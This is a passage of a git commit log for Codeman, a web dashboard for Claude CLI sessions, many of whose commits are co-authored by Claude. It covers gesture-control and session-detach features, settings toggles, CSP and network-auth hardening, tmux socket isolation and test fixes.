workspace package so the hand-tracking overlay can be developed in the Codeman repo.
New npm run build:gesture bundles src/codeman/entry.ts into the served
gesture-codeman.js; scripts/build.mjs reruns it on every production build.
Source formatted to Codeman's prettier style.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 20:48:20 +02:00
arkon 695e4047a1 chore: version packages 2026-06-08 19:59:40 +02:00
arkonandClaude Opus 4.8 f475caab87 fix(settings): stop App Settings modal overflowing horizontally
The App Settings toggle grid used grid-template-columns: 1fr 1fr, which
resolves to minmax(auto, 1fr): the auto minimum equals the items'
min-content (~550px), exceeding the available width and forcing a
horizontal scrollbar with the right-column switches clipped at the edge.

Switch the settings grids to minmax(0, 1fr) tracks so they can shrink
(labels ellipsis-truncate as a last resort instead of blowing out), and
widen the App Settings modal from 540 to 600px so the two-column layout
fits comfortably. Width bump is scoped to #appSettingsModal so the other
modal-lg modal (Add Case) is unaffected.

Verified with Playwright across all six tabs: 0 horizontal overflow,
0 truncated labels, clean single-column collapse at 390px.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 19:38:43 +02:00
arkonandClaude Opus 4.8 8453e953fd chore(service): sync codeman-web.service template with the deployed unit
Reconcile scripts/codeman-web.service with the installed
~/.config/systemd/user/codeman-web.service so they're identical: carry the
loopback + `tailscale serve` security note, keep NODE_COMPILE_CACHE, and a
concise CODEMAN_GESTURE comment. Points at docs/security-architecture.md.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 19:34:36 +02:00
arkonandClaude Opus 4.8 a8e0e2a343 chore: release 0.9.0 — security hardening + warn-don't-block network policy
Release 0.9.0 covering the merged security/reliability PRs (#106 deps/
supply-chain, #107 auth/network, #108 test stability, #110 tmux cwd) plus:

- Network policy: a non-loopback bind without CODEMAN_PASSWORD now STARTS
  with a loud warning (3 ways to secure) instead of refusing to start.
  Loopback stays the safe default. --allow-unauthenticated-network just
  acknowledges (terser note). (src/web/server.ts start())
- Post-install security note explaining the loopback default + safe exposure.
- New docs/security-architecture.md documenting the full model (binding,
  auth pipeline, tunnel req.ip caveat, file-serving, supply-chain, isolation,
  recommended setups). CLAUDE.md Security section + gotcha updated.
- Updated auth-security test: asserts warn-and-start (not throw).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 19:29:47 +02:00
Ark0N 4d0586a2aa Merge pull request #110 from aakhter/cod-31-tmux-session-reliability
fix: harden tmux launch cwd
2026-06-08 19:02:37 +02:00
arkonandClaude Opus 4.8 67a15b5949 docs: update CLAUDE.md for COD-29 network bind + CI/tooling drift
- Document the loopback-default bind and fail-closed non-loopback behavior
  (COD-29) as a Common Gotcha, plus expanded Auth + new Network bind rows
  in the Security table
- Add --host/CODEMAN_HOST bind and `npm run check:public-assets` to the
  Additional Commands table
- Note the CI server boot smoke test step

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 19:00:04 +02:00
Ark0N 6bf69a82c8 Merge pull request #106 from aakhter/cod-28-security-public-assets
chore: COD-28 harden dependencies and public assets
2026-06-08 18:12:42 +02:00
arkonandClaude Opus 4.8 d2efaa255b chore: scope new public-asset prettier check to maintained files
The PR adds an extended format:check / check-public-assets prettier pass
over src/web/public, but the hand-written public JS modules (and the
ported gesture bundle) have never been prettier-enforced and would turn
the new check red on master. Rather than reformat the entire frontend
(~2k lines of churn) inside a dependency-hardening PR, add those legacy
files + src/web/public/gesture/ to .prettierignore — matching the
author's existing pattern (app.js, styles.css, mobile.css, index.html).

The security-relevant checks are unaffected: check-public-assets.mjs
still validates NUL bytes and runs `node --check` on EVERY public .js
file regardless of .prettierignore.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 18:11:14 +02:00
arkon a721af4552 Merge remote-tracking branch 'origin/master' into cod-28-security-public-assets 2026-06-08 18:05:10 +02:00
Ark0N e6b18fd126 Merge pull request #107 from aakhter/cod-29-network-auth-downloads
fix: COD-29 harden network auth and downloads
2026-06-08 18:03:01 +02:00
arkonandClaude Opus 4.8 6ee88be549 test: fix title tests for new host constructor arg + async renderIndexHtml
The WebServer constructor now takes `host` as the 4th positional arg
(titleHostname shifted to 5th), and renderIndexHtml became async (it
reads settings.json for the gesture bundle) and cache-busts asset URLs.
Update the two title tests accordingly:
- pass '127.0.0.1' as the bind host so the title value lands in the
  5th titleHostname slot (server-index-title + push-payload-host-title)
- await renderIndexHtml and make the cases async
- strip ?v=<mtime> cache-bust params before the byte-identical assertion

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 18:01:20 +02:00
Ark0N 1316725fdc Merge pull request #108 from aakhter/cod-30-test-ci-stability
test: COD-30 stabilize focused and perf browser tests
2026-06-08 17:54:33 +02:00
Aamer Akhter 187ce653ae fix: COD-31 harden tmux launch cwd 2026-06-08 11:18:14 -04:00
Aamer Akhter da00fa6038 fix: COD-29 relax auth lockout recovery 2026-06-08 11:01:34 -04:00
Aamer Akhter a36543c1b9 fix: COD-29 harden downloads and extract auth policy 2026-06-08 11:01:34 -04:00
Aamer Akhter dea015dc91 COD-2 scope downloads to session workspace 2026-06-08 11:01:34 -04:00
Aamer Akhter 333dc047c3 fix: COD-29 fail closed for unauthenticated network binds 2026-06-08 11:01:34 -04:00
arkonandClaude Opus 4.8 a51c17170e feat(settings): relocate Gesture Control into Input section + release 0.8.2
- Move the Gesture Control (beta) toggle into the existing Input section
  (alongside Local Echo / CJK Input / Extended Keyboard Bar); remove the
  duplicate "Input" section header. Hide only the toggle (not the whole
  section) when CODEMAN_GESTURE=1 is unset.
- scripts/codeman-web.service: set CODEMAN_GESTURE=1 so the gesture feature
  is available on the local install (still gated by the default-OFF toggle).
- CLAUDE.md: version sync to 0.8.2 + config/app.js structural-count fixes.
- Version packages -> 0.8.2 (changeset covers detach, gesture overlay,
  multi-monitor, settings toggles, cache-busting).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 17:01:17 +02:00
Ark0N 6ea73a9251 Merge pull request #109 from Ark0N/fix/gesture-beta-label
feat(settings): label Gesture Control as (beta)
2026-06-08 16:42:32 +02:00
arkonandClaude Opus 4.8 20c01d5b11 feat(settings): label Gesture Control as (beta)
The gesture overlay is an opt-in experimental feature; flag it as beta in the
App Settings → Input toggle label.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 16:40:54 +02:00
Ark0N ce65d5f2ad Merge pull request #105 from Ark0N/beta/settings-toggles
feat(settings): toggle gesture control + multi-monitor button (off by default)
2026-06-08 16:37:17 +02:00
Ark0N cc45191c62 Merge pull request #103 from Ark0N/beta/session-detach
feat(web): session detach/undock + beta instance isolation (port 5000)
2026-06-08 16:36:46 +02:00
Aamer Akhter d897c9a1cf test: COD-30 stabilize perf browser timing 2026-06-08 10:27:18 -04:00
Aamer Akhter 880b63d2a0 test: COD-30 stabilize focused test suites 2026-06-08 10:19:38 -04:00
Aamer Akhter eb874339dd chore: COD-28 harden dependencies and public assets 2026-06-08 09:56:06 -04:00
arkonandClaude Opus 4.8 29d3fd48c1 fix(web): address self-review findings on #105 (settings cache + brittle reveal)
- Fix the gesture enable-reload race: PUT /api/settings writes settings.json
  without invalidating WebServer's 2s _settingsCache, and the toggle reloads
  ~400ms after save — within the TTL — so renderIndexHtml could render the
  pre-toggle state (bundle not injected until a 2nd reload). renderIndexHtml
  now reads settings via readSettings(true), a fresh read that bypasses the
  cache; readSettings gains a forceFresh param.
- Replace the brittle multi-monitor reveal (string match on the button's
  aria-label + inline style) with a stable `btn-multimonitor--hidden` class
  marker: the template carries the class, the server strips it when the setting
  is on, and applyHeaderVisibilitySettings()/solo-mode CSS toggle the same class.
  Editing the button's copy no longer silently breaks the reveal.
- Test: test/render-index-html.test.ts (reveal, solo injection + escaping,
  gesture availability vs. enablement, fresh-read wiring).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 15:46:10 +02:00
arkonandClaude Opus 4.8 cf6fabc070 fix(web): address self-review findings on #103 (master-safe defaults + hardening)
Make the branch genuinely master-mergeable and fix several review findings:

- Defaults are now prod-safe: CODEMAN_INSTANCE defaults to '' (→ ~/.codeman,
  -L codeman) and the web port back to 3000, so an existing install upgrades
  cleanly. Port also honors a new CODEMAN_PORT env var. Run the beta isolated
  alongside prod with scripts/run-beta.sh (CODEMAN_INSTANCE=beta + PORT 5000).
- .gitignore: anchor the root `public` symlink rule to `/public` (a bare
  `public` also swallowed src/web/public, silently un-staging new web assets);
  ignore the gesture wasm/model binaries explicitly instead.
- span-displays: add a macOS-only guard (400 elsewhere instead of spawning a
  bash that fails invisibly); extract resolveSpanUrl() for unit testing.
- server.ts: memoize asset-version stat() calls (~1s TTL) so each index render
  doesn't re-stat every script/link tag.
- styles.css: hide the multi-monitor button in solo (detached) windows.
- app.js: require two consecutive unanswered roll-calls before redocking, so a
  timer-throttled background popup isn't wrongly un-marked.
- index.html: make the "skip to terminal" link base-href-safe (onclick scroll)
  so it doesn't navigate to the dashboard from a /session/:id window.
- Tests: test/config/instance.test.ts, test/routes/system-span-displays.test.ts.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 15:41:46 +02:00
Ark0NandClaude Opus 4.8 62b7c4903b docs(claude): note the gesture + multi-monitor button App-Settings toggles
Document that both header features are now opt-in (default OFF) via App Settings
→ Display (Input / Header Displays), how each is gated (renderIndexHtml reveal
+ async settings read), and that the notification bell stays hidden.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 06:04:17 +02:00
Ark0NandClaude Opus 4.8 94b26f7606 feat(settings): toggle gesture control + multi-monitor button (off by default)
Make the two experimental header features opt-in via App Settings instead of
forced on. Both default OFF.

- App Settings → Display → 'Header Displays' gains a 'Multi-monitor Button'
  toggle (setting: showMultiMonitorButton). The button is hidden in the template
  by default; the server reveals it at render when enabled, and
  applyHeaderVisibilitySettings handles live toggles from a save.
- App Settings → Display → new 'Input' section gains a 'Gesture Control' toggle
  (setting: gestureControlEnabled). The gesture overlay is injected at page
  render, so renderIndexHtml (now async) reads settings.json and injects the
  bundle only when enabled; toggling reloads the page. CODEMAN_GESTURE=1 stays
  the instance-level 'feature available' gate (CSP + assets) and exposes
  window.__codemanGestureAvailable so the Input section only shows when usable.
- The retired notification bell stays hidden regardless of notification state.

Both settings added to SettingsUpdateSchema and the mobile defaults.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 06:01:15 +02:00
Ark0NandClaude Opus 4.8 ef01fb35b3 docs(claude): document multi-monitor button, span-displays route, and asset cache-busting
- The 'static cached 1y → hard refresh after deploy' note is now stale:
  renderIndexHtml runs cacheBustAssets() so a normal reload picks up edited
  modules/styles. Update it.
- Note the multi-monitor header button (replaces notification bell) and its
  /api/system/span-displays route in the Frontend + API Routes sections.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 05:15:33 +02:00
Ark0NandClaude Opus 4.8 b5ea7112a9 fix(web): cache-bust same-origin module scripts + stylesheets
Static assets are served Cache-Control: max-age=1y, immutable, but the script
and link tags in index.html carried no version — so any edit to a frontend
module (panels-ui.js, styles.css, …) stayed cached until a manual hard refresh.
renderIndexHtml now appends ?v=<mtime> to every same-origin .js/.css ref
(generalizing the existing gesture-bundle cache-bust), re-stat'd per render so
a changed file is picked up with no server restart. External URLs, already-
versioned refs, and refs with no file on disk are left untouched.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 05:03:59 +02:00
Ark0NandClaude Opus 4.8 95b00357b6 feat(multimonitor): header button to open Codeman spanned across all displays
Replace the header notification bell (now hidden by default; still reachable
via Settings → Notifications and the drawer) with a multi-monitor button.
Clicking it POSTs /api/system/span-displays, which spawns the bundled
scripts/span-codeman.sh — a fresh, maximized browser --app window sized to the
union of all displays — so in-page floating session panels can be dragged
across the physical monitor seam. macOS only; needs the one-time "Displays
have separate Spaces" OFF prerequisite (documented in the script). The route
pins the spanned window to localhost with a digits-only port from the Host
header so nothing attacker-controllable reaches the launched browser.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 04:53:33 +02:00
Ark0NandClaude Opus 4.8 59145c48fc build(gesture): fetch MediaPipe wasm + model at install/build instead of committing
The self-hosted gesture assets (~27MB of wasm runtime + gesture_recognizer.task)
were committed to the repo. Replace that with scripts/fetch-gesture-assets.mjs,
which downloads them into src/web/public/gesture/ — idempotent (skips existing)
and non-fatal (the overlay is opt-in via CODEMAN_GESTURE=1, so a fetch failure
only warns). Wired into:
  - postinstall.js (dev: populates src/web/public/gesture for `npm run dev`)
  - build.mjs (before `cp -r src/web/public dist/web/`, so prod/dist gets them)

The files are already covered by the bare `public` .gitignore rule, so they
stay untracked. The overlay bundle (gesture-codeman.js) remains committed — it's
built from a separate repo and is small. Pin @mediapipe wasm to 0.10.21 to match
the bundled tasks-vision API.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 02:05:28 +02:00
Ark0NandClaude Opus 4.8 8dc850f845 fix(csp): drop now-unused gesture CDN connect-src entries (self-hosted MediaPipe)
MediaPipe's wasm runtime + model are served same-origin from /gesture/, so the
gesture CSP no longer needs https://cdn.jsdelivr.net / https://storage.googleapis
.com in connect-src ('self' covers same-origin). Kept 'wasm-unsafe-eval'
(script-src, WASM compile) and worker-src 'self' blob: (MediaPipe blob workers).
Codeman's base jsdelivr entries (script/style/font-src) are unchanged — those
aren't gesture's.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 01:29:26 +02:00
Ark0NandClaude Opus 4.8 eea84db05e feat(gesture): port session improvements — direct detach, Run/Run Shell taps, self-hosted MediaPipe, cache-bust
Updates the opt-in gesture overlay (still gated by CODEMAN_GESTURE=1):

- Bundle (gesture-codeman.js) rebuilt from Ark0N/codeman-gesture-control:
  - Detach now calls window.app.detachSession(id) directly (the on-tab pop-out
    hook) instead of a separate /session/:id window.open reimplementation.
  - Pinch a session tab → ghost follows your hand → pull out to undock.
  - Pinch the Run (#runBtn → app.run()) or Run Shell (.btn-shell →
    app.runShell()) toolbar button to fire it; drift cancels the tap.
  - Camera shows fullscreen-dimmed by default (⛶ toggles a corner preview).
  - Robust start-error reporting; GPU→CPU MediaPipe delegate fallback.

- Self-hosted MediaPipe (no CDN): serves the wasm runtime + gesture_recognizer
  .task from /gesture/ so a browser content-blocker can't break startup. The
  overlay points wasmBase/modelUrl there. (~27MB of assets; could later be a
  build/postinstall fetch instead of committed blobs.)

- server.ts: cache-bust the injected bundle URL with its mtime (?v=), since
  static is served with a 1-year cache — a redeploy is now never stale.

format:check / lint scope (src/**/*.ts) clean; server.ts typechecks.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-08 01:20:23 +02:00
Ark0NandClaude Opus 4.8 ceca85365c style: format auth.ts to satisfy format:check (CI)
Wrap the two long CSP-builder lines in registerSecurityHeaders to the 120-col
Prettier limit. Formatting only — no behavior change. Fixes the failing
"Typecheck & Lint" check (prettier --check) on PR #103.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-07 04:45:35 +02:00
arkon 44439c951b chore: version packages 2026-06-07 04:44:07 +02:00
Tenggan ZhangandTeigen b2f8b03b3c feat: inject effort as soft default via CLI flags instead of env var (#104)
CLAUDE_CODE_EFFORT_LEVEL hard-locks effort for the whole session and makes
Claude reject in-session /effort switching (incl. ultracode). Carry effort
as a dedicated payload field instead, injected at spawn as a soft default:

- regular levels (incl. max) -> claude --effort <level>
  (the settings effortLevel key is enum([low,medium,high,xhigh]) with
  .catch(undefined), so max would be silently dropped there)
- ultracode -> claude --settings '{"ultracode":true}'
  (dedicated boolean settings key, rejected by the --effort flag)

Changes:
- add effort enum field to create/quick-start/ralph-loop schemas and thread
  it through Session -> CreateSessionOptions/RespawnPaneOptions -> spawn
- buildEffortCliArgs() in session-cli-builder, shared by tmux spawn command
  and direct-PTY fallback args
- frontend: buildEnvOverrides() no longer emits CLAUDE_CODE_EFFORT_LEVEL;
  validated effort goes into payloads via getEffortSetting()
- settings UI: add Ultracode option to the Thinking Effort dropdown
- legacy migration: Session constructor extracts CLAUDE_CODE_EFFORT_LEVEL
  from persisted envOverrides; applyEnvOverrides() unsets the stale tmux
  session var so respawned panes are no longer locked
- tests: test/effort-injection.test.ts (13 cases)

Co-authored-by: Teigen <teigenzhang@gmail.com>
2026-06-07 04:33:11 +02:00
Ark0NandClaude Opus 4.8 afea6d6a1c feat(web): gesture-control overlay integration (Phase 5, opt-in via CODEMAN_GESTURE=1)
Loads a hand-tracking overlay into the dashboard that detaches a session by
pinch-grabbing its tab and pulling it out — driving the existing
app.detachSession(id) hook. Bundle (src/web/public/gesture/gesture-codeman.js)
is built from the codeman-gesture-control project's src/codeman/entry.ts
(esbuild, MediaPipe included) and served same-origin.

OFF by default — guarded entirely by CODEMAN_GESTURE=1:
- server.ts: injects the module script into the dashboard HTML only (not solo
  /session/:id popups, which have no tab strip).
- auth.ts: widens CSP only under the flag — adds 'wasm-unsafe-eval' (MediaPipe
  WASM) and the pinned MediaPipe CDNs (cdn.jsdelivr.net wasm, storage.googleapis.com
  model) to connect-src, plus worker-src 'self' blob:. Production CSP is unchanged
  when the flag is off.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-07 03:15:29 +02:00
Ark0NandClaude Opus 4.8 2e341e3897 fix(web): harden session detach edge cases (findings 2-4)
- Finding 2: unify the pop-out icon and tab-click paths via _raiseDetached().
  After a dashboard reload (no owned WindowProxy ref), clicking the pop-out icon
  no longer re-runs window.open() — which reloaded the live popup's terminal —
  and instead raises it via the channel, matching the tab-click behavior.
- Finding 3: debounce channel-driven redock. A popup *reload* emits
  redocked->detached in quick succession; a 1.5s grace lets the re-announce
  cancel the redock so the dashboard badge no longer blips on popup refresh.
- Finding 4: periodic liveness reconcile. A popup hard-killed without a
  'pagehide' (crash / OS kill) while the dashboard holds no ref would leave its
  tab stuck "detached". The dashboard now re-roll-calls every 5s and re-docks
  any channel-only tab that stays silent.

Frontend-only; validated with node --check (app.js is outside the ts/lint/prettier gates).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-06 04:14:40 +02:00
Ark0NandClaude Opus 4.8 5459da5f9d fix(state-store): scope legacy ~/.claudeman migration to the default instance
The instance-isolation sweep routed every ~/.codeman write through dataPath()
except the legacy ~/.claudeman → ~/.codeman migration in the StateStore
constructor, which stayed hardcoded. Gate the whole legacy block on the default
(prod) instance so a named instance (e.g. CODEMAN_INSTANCE=beta) never reads or
renames into the shared ~/.codeman / ~/codeman-cases layout. Prod behavior is
unchanged (CODEMAN_INSTANCE empty → migration still runs).

Note: swapping newDir to getDataDir() was rejected — its mkdirSync side-effect
would make !existsSync(newDir) false and silently disable the migration.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-06 04:06:29 +02:00
arkonandClaude Opus 4.8 b00a680d42 feat(web): session detach/undock + beta instance isolation (port 5000)
Detach a session tab into its own browser window and back.

Detach/undock:
- GET /session/:id serves the SPA in "solo mode", reusing the existing
  client (terminal, local-echo overlay, reconnect) so no terminal code is
  duplicated. One PTY already fans out to N SSE/WS clients, so a detached
  window is just another live client — no server fan-out work was needed.
- A pop-out icon per tab; detached tabs show a badge and focus the popup on
  click; closing the popup re-docks. Cross-window state via BroadcastChannel
  plus a WindowProxy poll, and survives a dashboard reload (roll-call).
  app.detachSession(id) is a single idempotent entry point (future gesture
  hook). <base href="/"> so relative assets resolve under /session/:id.

Beta-branch isolation (so it can run alongside a prod Codeman):
- Default port 3000 -> 5000.
- New src/config/instance.ts derives the data dir and tmux socket from
  CODEMAN_INSTANCE (default "beta"): ~/.codeman-beta + tmux -L codeman-beta.
  Every ~/.codeman path now goes through dataPath()/getDataDir() (state,
  mux-sessions, settings, push keys, lifecycle log, screenshots, certs,
  linked-cases, subagent window state). Overridable via CODEMAN_INSTANCE /
  CODEMAN_DATA_DIR / CODEMAN_TMUX_SOCKET. Prevents a second instance from
  discovering and attaching PTYs to the first instance's live tmux sessions.

Verified: tsc / eslint / prettier / lockfile clean; Playwright E2E (27 checks)
for detach/solo/redock; default isolation confirmed to see zero real sessions.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-06 03:53:54 +02:00
arkonandClaude Opus 4.8 e3c496e1a4 chore: version packages
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-01 20:01:44 +02:00
arkonandClaude Opus 4.8 eb831487a0 feat(web): remove /compact button from mobile keyboard accessory bar
Drops /compact from both the simple and extended accessory-bar layouts,
the action handler (case folded back to clear-only), the refocus guard,
and the JSDoc. /clear retains its double-tap confirmation. Verified on a
touch-emulated viewport: neither layout renders a compact action.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-01 20:00:38 +02:00
68594ac395 feat(web): response-viewer transcript fallback + code-block rendering (#102)
* feat(web): response-viewer transcript fallback + code-block rendering

- Add _cleanTerminalBuffer(): strip ANSI escapes and Claude CLI chrome
  (status bar, spinner, progress bar, prompt glyphs) from the terminal
  buffer so the response viewer renders clean text when the JSONL
  transcript is missing.
- Add _preprocessAsciiArt(): wrap box-drawing/block-element diagrams in
  fenced code blocks (narrow trigger that excludes arrows/geometric
  shapes common in prose) so marked.js preserves their whitespace.
- Extend .rv-text rules to .response-viewer-body so fallback-rendered
  content gets the same typography, code-block, and table styling.

* refactor(web): drop duplicate _cleanTerminalBuffer/_preprocessAsciiArt

These two methods already exist on master (added in #75). This branch
re-added byte-identical copies above _sanitizeHtml; in a JS class body the
later definition wins, so the duplicates were inert dead code. Remove them,
keeping only the genuinely new work: the _renderMarkdown null-safety fix and
the response-viewer CSS overhaul.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Co-authored-by: arkon <arkon.85@hotmail.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-01 19:43:52 +02:00
Tenggan ZhangandTeigen ec38fd11bf feat(web): mobile image upload to active session via paste dialog (#101)
- Extend the keyboard accessory paste dialog with an image picker
  (camera / photo library) plus best-effort image paste, routing
  selected files through the existing _uploadAndInsertImages pipeline
- Re-encode images to standard JPEG/PNG in the browser before upload,
  so mislabeled gallery images (e.g. MIUI WebP claiming image/jpeg)
  pass the server magic-byte check; PNG keeps transparency, GIF passes
  through untouched, decode failures fall back to the original file
- Log the real byte header on the paste-image magic-mismatch branch to
  pin down any remaining format mismatches without a guessing loop
- Ignore the runtime .claude-images/ upload directory

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-06-01 19:38:48 +02:00
Tenggan ZhangandTeigen 06f9ff6d9c fix: avoid event-loop stalls from synchronous tmux/ps calls (#100)
The stats collector (~2s) and mouse-mode sync (5s) ran execSync (pgrep/ps/
list-panes, 5s timeout each) per session on the server's single thread,
blocking the event loop. With several sessions or a momentarily slow tmux this
froze port 3000 for seconds-to-tens-of-seconds while the process stayed alive
and other ports were unaffected — self-healing, so it never restarted and the
60s loopback healthcheck missed it. Convert these hot-path calls to execAsync.

Also add an always-on event-loop lag monitor (utils/event-loop-monitor.ts) that
logs stalls >=1s to the web log, so this otherwise-invisible class of incident
leaves a quantified, timestamped trace.

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-06-01 19:32:24 +02:00
arkonandClaude Opus 4.7 257695ff8e chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-31 05:17:07 +02:00
arkonandClaude Opus 4.7 2cfccc745f docs: correct sendPendingCtrlL comment (it has no callers)
The prior wording claimed the no-op stub was kept so SSE idle/working
handlers could call it without guards, but there are no callers anywhere.
Reword to reflect that it's a vestigial, intentionally-retained guard
documenting why Ctrl+L must not be auto-sent. Comment-only; minified
build output is unchanged.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 01:52:15 +02:00
arkonandClaude Opus 4.7 016c23934f chore: version packages
Release 0.7.0. Also syncs CLAUDE.md version line and corrects the
route-handler counts (~130 handlers, sessions 28).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 00:19:15 +02:00
Tenggan ZhangandTeigen 896dc5b177 fix(web): stop auto-sending Ctrl+L from session selection paths (#99)
Claude Code 2.x treats Ctrl+L (\x0c) as a two-step "clear conversation"
command (first press shows the confirmation prompt, second press
clears). The frontend previously fired \x0c from three places to force
Ink to redraw stale CUP-positioned frames in the tailed buffer; if a
page refresh or SSE reconnect ran the same path twice within Claude's
confirmation window the second \x0c silently nuked the user's
conversation.

Removed the \x0c sends from:
- selectSession() — main offender, runs on every tab switch & page reload
- restoreTerminalSize() — manual "restore size" button
- sendPendingCtrlL() — dead code path (pendingCtrlL was never populated)

Trade-off: occasional stale Ink frames immediately after refresh; the
user's first keypress causes Ink to redraw and the artifact vanishes.
Losing the conversation silently is far worse than a brief cosmetic
glitch.

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-05-26 00:12:43 +02:00
Tenggan ZhangandTeigen 196646a7ff feat(web): one-click copy button on response-viewer code blocks (#98)
Wrap every fenced code block in the response viewer with a positioned
.rv-code-wrap toolbar (outside the <pre> scroll container so buttons stay put
during horizontal scroll). All blocks get a copy button; ASCII diagrams keep
their existing line-wrap toggle alongside it.

_copyText() prefers the async Clipboard API and falls back to a hidden-textarea
+ execCommand path, so copy works over plain HTTP too. The button shows a 1.5s
✓ / ✕ feedback state after each attempt.

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-05-26 00:00:37 +02:00
Tenggan ZhangandTeigen 1b652ceb87 test: repair route harness error rendering + stop AI-checker spawning real processes in tests (#97)
* fix(test): share route error handler with test harness + fix stale assertions

The route test harness built a bare Fastify instance without the production
global error handler (server.ts), so structured errors thrown by route helpers
(findSessionOrFail → 404, parseBody → 400) fell through to Fastify's default
handler — yielding a `{statusCode,error,message}` body instead of the
`{success:false,...}` shape, and the tests asserted the old implicit-200
behavior. 51 route tests across 7 files were red.

- Extract the handler into src/web/route-error-handler.ts; server.ts and the
  test harness now install the identical handler (single source of truth).
- Correct stale assertions across route test files: throw-based error paths
  now assert 404 (unknown session) / 400 (invalid body); genuine in-handler
  `return createErrorResponse(...)` paths (200 + success:false) left untouched.
- Reformat a few test files prettier flagged (pre-existing non-compliance).

Route suite: 307/307 passing (was 256/307). No production behavior change.

* test(respawn): mock child_process so AI checker never spawns real processes

respawn-controller.test.ts drives the AI idle checker (ai-checker-base), whose
runCheck() spawns a real `tmux new-session` running `claude -p`. The AI-enabled
tests only assert the ai_checking state transition (then cancel/stop), so the
spawn produced stray real tmux sessions and claude processes on every run — the
reason `npm test` (full suite) was unsafe to run inside a managed session.

Mock node:child_process here (mirroring ai-idle-checker.test.ts), spreading the
real module so `exec` stays intact for transitively-imported modules
(tmux-manager calls promisify(exec) at load). With this, the full non-mobile
suite runs without spawning any real tmux/claude.

---------

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
2026-05-25 23:55:57 +02:00
arkonandClaude Opus 4.7 8abf349cfc chore: version packages
Also add docs/opencode-integration.md pointer to the dual-CLI gotcha in CLAUDE.md.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 23:32:44 +02:00
arkonandClaude Opus 4.7 ae5bcf9330 docs: archive stale findings docs (work completed)
Both findings docs described a codebase that no longer exists — their
headline 'Critical'/'P0' items (server.ts/app.js/types.ts splits, the
{WORKING_DIR} placeholder bug) are all resolved. Moved to docs/archive/
with dated banners so they read as history, not a live TODO.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 23:31:50 +02:00
arkonandClaude Opus 4.7 78d5fcf70c docs: mark tmux-manager.ts as large file, refine CLAUDE.md accuracy
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 23:31:50 +02:00
Tenggan ZhangandTeigen 1ff315a1e6 fix(tmux): isolate sessions on a dedicated socket + raise pane nofile limit (fixes new-session crash after tmux upgrade) (#96)
* fix: isolate codeman tmux sessions

* fix(tmux): unify all sessions onto a single dedicated socket

Remove the per-session `tmuxSocket` field that recorded which tmux server
each session lived on (default vs the `codeman` socket). That field was a
persisted cache of physical reality and could drift — causing live sessions
to be wrongly marked dead ("tab shows no session found") and spawning
duplicate "Restored:" tabs.

All Codeman sessions now live on one process-wide socket (`tmux -L codeman`,
overridable via CODEMAN_TMUX_SOCKET), exposed via TmuxManager.muxSocket on
the TerminalMultiplexer interface. reconcileSessions() collapses from a
multi-socket scan (locate / re-pin / cross-socket dedup) to a single
`list-panes` query. loadSessions() strips the obsolete field from on-disk
records so it stops being written back.

Also fix two sibling bare-`tmux` call sites the unification would otherwise
leave broken (same #80 regression class — bare tmux hits the user's default
server and never finds a session on the codeman socket):
- session.ts queryTmuxWindowSize(): add `-L <socket>` (was silently falling
  back to 120x40 on re-attach, losing scrollback)
- session-routes.ts send-key (Shift+Enter / Ctrl+Enter newline): route
  through ctx.mux.muxSocket

SSH chooser scripts (tmux-manager.sh, tmux-chooser.sh) route every tmux call
through `tmux -L $CODEMAN_TMUX_SOCKET`, matching the TS default.

---------

Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
